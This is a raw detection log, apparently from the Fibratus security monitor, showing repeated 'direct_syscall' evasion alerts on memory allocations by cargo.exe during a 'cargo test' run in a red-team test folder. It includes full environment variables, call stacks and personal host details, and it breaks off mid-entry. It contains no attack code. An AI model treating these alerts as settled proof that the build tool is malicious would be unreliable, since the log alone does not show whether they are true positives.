VirtualAlloc + Category: mem + Description: + Host: archrabbit + Timestamp: 2025-12-06 19:12:57.9869799 +0100 CET + Params: alloc_type➜ COMMIT, base_address➜ d0f50ec000, exe➜ C:\Users\nedo\.cargo\bin\cargo.exe, name➜ cargo.exe, page_type➜ PRIVATE, pid➜ 15532, protection➜ READWRITE, protection_mask➜ RW, region_size➜ 24576 + Metadata: evasions: [direct_syscall] + + Pid: 15532 + Ppid: 9772 + Name: cargo.exe + Parent name: powershell.exe + Cmdline: "C:\Users\nedo\.cargo\bin\cargo.exe" test + Parent cmdline: C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe + Exe: C:\Users\nedo\.cargo\bin\cargo.exe + Cwd: C:\Fibratus\redteam\RustVEHSyscalls\ + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: HIGH + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\Users\nedo\.cargo\bin\cargo.exe" test] + Session ID: 1 + Envs: map[ALLUSERSPROFILE:C:\ProgramData APPDATA:C:\Users\nedo\AppData\Roaming COMPUTERNAME:ARCHRABBIT CONDA_PROMPT_MODIFIER:False ChocolateyInstall:C:\ProgramData\chocolatey ChocolateyLastPathUpdate:133259896742725622 ChocolateyToolsLocation:C:\tools ComSpec:C:\WINDOWS\system32\cmd.exe CommandPromptType:Native CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DevEnvDir:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\ DriverData:C:\Windows\System32\Drivers\DriverData EXTERNAL_INCLUDE:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\include;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Auxiliary\VS\include;C:\Program Files (x86)\Windows Kits\10\include\10.0.22621.0\ucrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\um;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\shared;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\winrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\cppwinrt ExtensionSdkDir:C:\Program Files (x86)\Microsoft SDKs\Windows Kits\10\ExtensionSDKs Framework40Version:v4.0 FrameworkDir:C:\Windows\Microsoft.NET\Framework\ FrameworkDir32:C:\Windows\Microsoft.NET\Framework\ FrameworkVersion:v4.0.30319 FrameworkVersion32:v4.0.30319 GOPATH:C:\Users\nedo\go HOMEDRIVE:C: HOMEPATH:\Users\nedo INCLUDE:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\include;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Auxiliary\VS\include;C:\Program Files (x86)\Windows Kits\10\include\10.0.22621.0\ucrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\um;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\shared;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\winrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\cppwinrt JAVA_HOME:C:\Program Files\Jdk11 LIB:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86;C:\Program Files (x86)\Windows Kits\10\lib\10.0.22621.0\ucrt\x86;C:\Program Files (x86)\Windows Kits\10\\lib\10.0.22621.0\\um\x86 LIBPATH:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86\store\references;C:\Program Files (x86)\Windows Kits\10\UnionMetadata\10.0.22621.0;C:\Program Files (x86)\Windows Kits\10\References\10.0.22621.0;C:\Windows\Microsoft.NET\Framework\v4.0.30319 LOCALAPPDATA:C:\Users\nedo\AppData\Local LOGONSERVER:\\ARCHRABBIT NUMBER_OF_PROCESSORS:8 OS:Windows_NT OneDrive:C:\Users\nedo\OneDrive PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY;.CPL POSH_GIT_ENABLED:False POSH_THEME:C:\Posh-Themes\spaceship.json POSH_THEMES_PATH:C:\Users\nedo\AppData\Local\Programs\oh-my-posh\themes POWERLINE_COMMAND:oh-my-posh PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PROMPT:$P$G PSModulePath:C:\Users\nedo\Documents\WindowsPowerShell\Modules;C:\Program Files\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\bin\HostX86\x86;C:\Program Files (x86)\Windows Kits\10\bin\10.0.22621.0\\x86;C:\Program Files (x86)\Windows Kits\10\bin\\x86;C:\Program Files\Microsoft Visual Studio\2022\Community\\MSBuild\Current\Bin\amd64;C:\Windows\Microsoft.NET\Framework\v4.0.30319;C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\;C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\Tools\;C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\.cargo\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SESSIONNAME:Console SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\Users\nedo\AppData\Local\Temp TMP:C:\Users\nedo\AppData\Local\Temp UCRTVersion:10.0.22621.0 USERDOMAIN:ARCHRABBIT USERDOMAIN_ROAMINGPROFILE:ARCHRABBIT USERNAME:nedo USERPROFILE:C:\Users\nedo UniversalCRTSdkDir:C:\Program Files (x86)\Windows Kits\10\ VCIDEInstallDir:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\VC\ VCINSTALLDIR:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\ VCToolsInstallDir:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\ VCToolsRedistDir:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Redist\MSVC\14.36.32532\ VCToolsVersion:14.36.32532 VS170COMNTOOLS:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\Tools\ VSCMD_ARG_HOST_ARCH:x86 VSCMD_ARG_TGT_ARCH:x86 VSCMD_ARG_app_plat:Desktop VSCMD_VER:17.6.4 VSINSTALLDIR:C:\Program Files\Microsoft Visual Studio\2022\Community\ VisualStudioVersion:17.0 WSLENV:WT_SESSION:WT_PROFILE_ID: WT_PROFILE_ID:{61c54bbd-c2c6-5271-96e7-009a87ff44bf} WT_SESSION:7feeb2fe-95ef-4620-b095-b09aedd8af7c WindowsLibPath:C:\Program Files (x86)\Windows Kits\10\UnionMetadata\10.0.22621.0;C:\Program Files (x86)\Windows Kits\10\References\10.0.22621.0 WindowsSDKLibVersion:10.0.22621.0\ WindowsSDKVersion:10.0.22621.0\ WindowsSdkBinPath:C:\Program Files (x86)\Windows Kits\10\bin\ WindowsSdkDir:C:\Program Files (x86)\Windows Kits\10\ WindowsSdkVerBinPath:C:\Program Files (x86)\Windows Kits\10\bin\10.0.22621.0\ _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols __DOTNET_ADD_32BIT:1 __DOTNET_PREFERRED_BITNESS:32 __VSCMD_PREINIT_PATH:C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\.cargo\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin windir:C:\WINDOWS] + + ] and callstack [0xfffff802c4542714 C:\WINDOWS\system32\ntoskrnl.exe!ExQueueWorkItem+0x894|0xfffff802c4474909 C:\WINDOWS\system32\ntoskrnl.exe!KeAddProcessorAffinityEx+0x739|0xfffff802c4548ff2 C:\WINDOWS\system32\ntoskrnl.exe!PsGetEffectiveServerSilo+0x1c2|0xfffff802c4c2a99c C:\WINDOWS\system32\ntoskrnl.exe!FsRtlQueryCachedVdl+0x1ec|0xfffff802c4a63d12 C:\WINDOWS\system32\ntoskrnl.exe!NtAllocateVirtualMemory+0x1532|0xfffff802c4a629bf C:\WINDOWS\system32\ntoskrnl.exe!NtAllocateVirtualMemory+0x1df|0xfffff802c48b2255 C:\WINDOWS\system32\ntoskrnl.exe!setjmpex+0x9215|0xfffff802c48a0700 C:\WINDOWS\system32\ntoskrnl.exe!KeSaveStateForHibernate+0x1a10|0xfffff802c4c24004 C:\WINDOWS\system32\ntoskrnl.exe!MmRotatePhysicalView+0xb24|0xfffff802c449315c C:\WINDOWS\system32\ntoskrnl.exe!RtlPcToFileHeader+0x17c4c|0xfffff802c44400d4 C:\WINDOWS\system32\ntoskrnl.exe!ExReleaseSpinLockSharedFromDpcLevel+0x634|0xfffff802c48addcb C:\WINDOWS\system32\ntoskrnl.exe!setjmpex+0x4d8b|0x7ffaf42d0f52 C:\Windows\System32\bcryptprimitives.dll!ProcessPrng|0x7ffaf42ceb18 C:\Windows\System32\bcryptprimitives.dll!ProcessPrngGuid|0x7ffaf42cee2a C:\Windows\System32\bcryptprimitives.dll!ProcessPrngGuid|0x7ffaf42ce8ea C:\Windows\System32\bcryptprimitives.dll!GetCipherInterface|0x7ffaf42d1b32 C:\Windows\System32\bcryptprimitives.dll!ProcessPrng|0x7ffaf42ce5fc C:\Windows\System32\bcryptprimitives.dll!GetCipherInterface|0x7ffaf42cfe04 C:\Windows\System32\bcryptprimitives.dll!ProcessPrng|0x7ff6900c72bf C:\Users\nedo\.cargo\bin\cargo.exe!?|0x7ff68fb035f2 C:\Users\nedo\.cargo\bin\cargo.exe!?|0x7ff68fa3ec36 C:\Users\nedo\.cargo\bin\cargo.exe!?|0x7ff68fb151ea C:\Users\nedo\.cargo\bin\cargo.exe!?|0x7ff6902f811c C:\Users\nedo\.cargo\bin\cargo.exe!?|0x7ffaf5b1e8d7 C:\Windows\System32\kernel32.dll!BaseThreadInitThunk|0x7ffaf700c53c C:\Windows\System32\ntdll.dll!RtlUserThreadStart] source=evasion/scanner.go:68 +time=2025-12-06T19:12:59+01:00 level=info msg=detected evasion "direct_syscall" on event [ + Seq: 902911 + Pid: 15532 + Tid: 3468 + Type: VirtualAlloc + CPU: 2 + Name: VirtualAlloc + Category: mem + Description: + Host: archrabbit + Timestamp: 2025-12-06 19:12:57.9897673 +0100 CET + Params: alloc_type➜ COMMIT, base_address➜ d0f50eb000, exe➜ C:\Users\nedo\.cargo\bin\cargo.exe, name➜ cargo.exe, page_type➜ PRIVATE, pid➜ 15532, protection➜ READWRITE, protection_mask➜ RW, region_size➜ 24576 + Metadata: evasions: [direct_syscall] + + Pid: 15532 + Ppid: 9772 + Name: cargo.exe + Parent name: powershell.exe + Cmdline: "C:\Users\nedo\.cargo\bin\cargo.exe" test + Parent cmdline: C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe + Exe: C:\Users\nedo\.cargo\bin\cargo.exe + Cwd: C:\Fibratus\redteam\RustVEHSyscalls\ + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: HIGH + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\Users\nedo\.cargo\bin\cargo.exe" test] + Session ID: 1 + Envs: map[ALLUSERSPROFILE:C:\ProgramData APPDATA:C:\Users\nedo\AppData\Roaming COMPUTERNAME:ARCHRABBIT CONDA_PROMPT_MODIFIER:False ChocolateyInstall:C:\ProgramData\chocolatey ChocolateyLastPathUpdate:133259896742725622 ChocolateyToolsLocation:C:\tools ComSpec:C:\WINDOWS\system32\cmd.exe CommandPromptType:Native CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DevEnvDir:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\ DriverData:C:\Windows\System32\Drivers\DriverData EXTERNAL_INCLUDE:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\include;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Auxiliary\VS\include;C:\Program Files (x86)\Windows Kits\10\include\10.0.22621.0\ucrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\um;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\shared;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\winrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\cppwinrt ExtensionSdkDir:C:\Program Files (x86)\Microsoft SDKs\Windows Kits\10\ExtensionSDKs Framework40Version:v4.0 FrameworkDir:C:\Windows\Microsoft.NET\Framework\ FrameworkDir32:C:\Windows\Microsoft.NET\Framework\ FrameworkVersion:v4.0.30319 FrameworkVersion32:v4.0.30319 GOPATH:C:\Users\nedo\go HOMEDRIVE:C: HOMEPATH:\Users\nedo INCLUDE:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\include;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Auxiliary\VS\include;C:\Program Files (x86)\Windows Kits\10\include\10.0.22621.0\ucrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\um;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\shared;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\winrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\cppwinrt JAVA_HOME:C:\Program Files\Jdk11 LIB:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86;C:\Program Files (x86)\Windows Kits\10\lib\10.0.22621.0\ucrt\x86;C:\Program Files (x86)\Windows Kits\10\\lib\10.0.22621.0\\um\x86 LIBPATH:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86\store\references;C:\Program Files (x86)\Windows Kits\10\UnionMetadata\10.0.22621.0;C:\Program Files (x86)\Windows Kits\10\References\10.0.22621.0;C:\Windows\Microsoft.NET\Framework\v4.0.30319 LOCALAPPDATA:C:\Users\nedo\AppData\Local LOGONSERVER:\\ARCHRABBIT NUMBER_OF_PROCESSORS:8 OS:Windows_NT OneDrive:C:\Users\nedo\OneDrive PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY;.CPL POSH_GIT_ENABLED:False POSH_THEME:C:\Posh-Themes\spaceship.json POSH_THEMES_PATH:C:\Users\nedo\AppData\Local\Programs\oh-my-posh\themes POWERLINE_COMMAND:oh-my-posh PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PROMPT:$P$G PSModulePath:C:\Users\nedo\Documents\WindowsPowerShell\Modules;C:\Program Files\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\bin\HostX86\x86;C:\Program Files (x86)\Windows Kits\10\bin\10.0.22621.0\\x86;C:\Program Files (x86)\Windows Kits\10\bin\\x86;C:\Program Files\Microsoft Visual Studio\2022\Community\\MSBuild\Current\Bin\amd64;C:\Windows\Microsoft.NET\Framework\v4.0.30319;C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\;C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\Tools\;C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\.cargo\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SESSIONNAME:Console SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\Users\nedo\AppData\Local\Temp TMP:C:\Users\nedo\AppData\Local\Temp UCRTVersion:10.0.22621.0 USERDOMAIN:ARCHRABBIT USERDOMAIN_ROAMINGPROFILE:ARCHRABBIT USERNAME:nedo USERPROFILE:C:\Users\nedo UniversalCRTSdkDir:C:\Program Files (x86)\Windows Kits\10\ VCIDEInstallDir:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\VC\ VCINSTALLDIR:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\ VCToolsInstallDir:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\ VCToolsRedistDir:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Redist\MSVC\14.36.32532\ VCToolsVersion:14.36.32532 VS170COMNTOOLS:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\Tools\ VSCMD_ARG_HOST_ARCH:x86 VSCMD_ARG_TGT_ARCH:x86 VSCMD_ARG_app_plat:Desktop VSCMD_VER:17.6.4 VSINSTALLDIR:C:\Program Files\Microsoft Visual Studio\2022\Community\ VisualStudioVersion:17.0 WSLENV:WT_SESSION:WT_PROFILE_ID: WT_PROFILE_ID:{61c54bbd-c2c6-5271-96e7-009a87ff44bf} WT_SESSION:7feeb2fe-95ef-4620-b095-b09aedd8af7c WindowsLibPath:C:\Program Files (x86)\Windows Kits\10\UnionMetadata\10.0.22621.0;C:\Program Files (x86)\Windows Kits\10\References\10.0.22621.0 WindowsSDKLibVersion:10.0.22621.0\ WindowsSDKVersion:10.0.22621.0\ WindowsSdkBinPath:C:\Program Files (x86)\Windows Kits\10\bin\ WindowsSdkDir:C:\Program Files (x86)\Windows Kits\10\ WindowsSdkVerBinPath:C:\Program Files (x86)\Windows Kits\10\bin\10.0.22621.0\ _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols __DOTNET_ADD_32BIT:1 __DOTNET_PREFERRED_BITNESS:32 __VSCMD_PREINIT_PATH:C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\.cargo\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin windir:C:\WINDOWS] + + ] and callstack [0xfffff802c4542714 C:\WINDOWS\system32\ntoskrnl.exe!ExQueueWorkItem+0x894|0xfffff802c4474909 C:\WINDOWS\system32\ntoskrnl.exe!KeAddProcessorAffinityEx+0x739|0xfffff802c4548ff2 C:\WINDOWS\system32\ntoskrnl.exe!PsGetEffectiveServerSilo+0x1c2|0xfffff802c4c2a99c C:\WINDOWS\system32\ntoskrnl.exe!FsRtlQueryCachedVdl+0x1ec|0xfffff802c4a63d12 C:\WINDOWS\system32\ntoskrnl.exe!NtAllocateVirtualMemory+0x1532|0xfffff802c4a629bf C:\WINDOWS\system32\ntoskrnl.exe!NtAllocateVirtualMemory+0x1df|0xfffff802c48b2255 C:\WINDOWS\system32\ntoskrnl.exe!setjmpex+0x9215|0xfffff802c48a0700 C:\WINDOWS\system32\ntoskrnl.exe!KeSaveStateForHibernate+0x1a10|0xfffff802c4c24004 C:\WINDOWS\system32\ntoskrnl.exe!MmRotatePhysicalView+0xb24|0xfffff802c449315c C:\WINDOWS\system32\ntoskrnl.exe!RtlPcToFileHeader+0x17c4c|0xfffff802c44400d4 C:\WINDOWS\system32\ntoskrnl.exe!ExReleaseSpinLockSharedFromDpcLevel+0x634|0xfffff802c48addcb C:\WINDOWS\system32\ntoskrnl.exe!setjmpex+0x4d8b|0x7ff6902f7ee7 C:\Users\nedo\.cargo\bin\cargo.exe!?|0x7ff68fb0b2d6 C:\Users\nedo\.cargo\bin\cargo.exe!?|0x7ff68fb053c4 C:\Users\nedo\.cargo\bin\cargo.exe!?|0x7ff68fa3ec36 C:\Users\nedo\.cargo\bin\cargo.exe!?|0x7ff68fb151ea C:\Users\nedo\.cargo\bin\cargo.exe!?|0x7ff6902f811c C:\Users\nedo\.cargo\bin\cargo.exe!?|0x7ffaf5b1e8d7 C:\Windows\System32\kernel32.dll!BaseThreadInitThunk|0x7ffaf700c53c C:\Windows\System32\ntdll.dll!RtlUserThreadStart] source=evasion/scanner.go:68 +time=2025-12-06T19:12:59+01:00 level=info msg=detected evasion "direct_syscall" on event [ + Seq: 902914 + Pid: 15532 + Tid: 3468 + Type: VirtualAlloc + CPU: 2 + Name: VirtualAlloc + Category: mem + Description: + Host: archrabbit + Timestamp: 2025-12-06 19:12:57.9898026 +0100 CET + Params: alloc_type➜ COMMIT, base_address➜ d0f50ea000, exe➜ C:\Users\nedo\.cargo\bin\cargo.exe, name➜ cargo.exe, page_type➜ PRIVATE, pid➜ 15532, protection➜ READWRITE, protection_mask➜ RW, region_size➜ 24576 + Metadata: evasions: [direct_syscall] + + Pid: 15532 + Ppid: 9772 + Name: cargo.exe + Parent name: powershell.exe + Cmdline: "C:\Users\nedo\.cargo\bin\cargo.exe" test + Parent cmdline: C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe + Exe: C:\Users\nedo\.cargo\bin\cargo.exe + Cwd: C:\Fibratus\redteam\RustVEHSyscalls\ + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: HIGH + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\Users\nedo\.cargo\bin\cargo.exe" test] + Session ID: 1 + Envs: map[ALLUSERSPROFILE:C:\ProgramData APPDATA:C:\Users\nedo\AppData\Roaming COMPUTERNAME:ARCHRABBIT CONDA_PROMPT_MODIFIER:False ChocolateyInstall:C:\ProgramData\chocolatey ChocolateyLastPathUpdate:133259896742725622 ChocolateyToolsLocation:C:\tools ComSpec:C:\WINDOWS\system32\cmd.exe CommandPromptType:Native CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DevEnvDir:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\ DriverData:C:\Windows\System32\Drivers\DriverData EXTERNAL_INCLUDE:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\include;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Auxiliary\VS\include;C:\Program Files (x86)\Windows Kits\10\include\10.0.22621.0\ucrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\um;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\shared;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\winrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\cppwinrt ExtensionSdkDir:C:\Program Files (x86)\Microsoft SDKs\Windows Kits\10\ExtensionSDKs Framework40Version:v4.0 FrameworkDir:C:\Windows\Microsoft.NET\Framework\ FrameworkDir32:C:\Windows\Microsoft.NET\Framework\ FrameworkVersion:v4.0.30319 FrameworkVersion32:v4.0.30319 GOPATH:C:\Users\nedo\go HOMEDRIVE:C: HOMEPATH:\Users\nedo INCLUDE:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\include;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Auxiliary\VS\include;C:\Program Files (x86)\Windows Kits\10\include\10.0.22621.0\ucrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\um;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\shared;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\winrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\cppwinrt JAVA_HOME:C:\Program Files\Jdk11 LIB:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86;C:\Program Files (x86)\Windows Kits\10\lib\10.0.22621.0\ucrt\x86;C:\Program Files (x86)\Windows Kits\10\\lib\10.0.22621.0\\um\x86 LIBPATH:C:\Program Files\Microsoft Visual 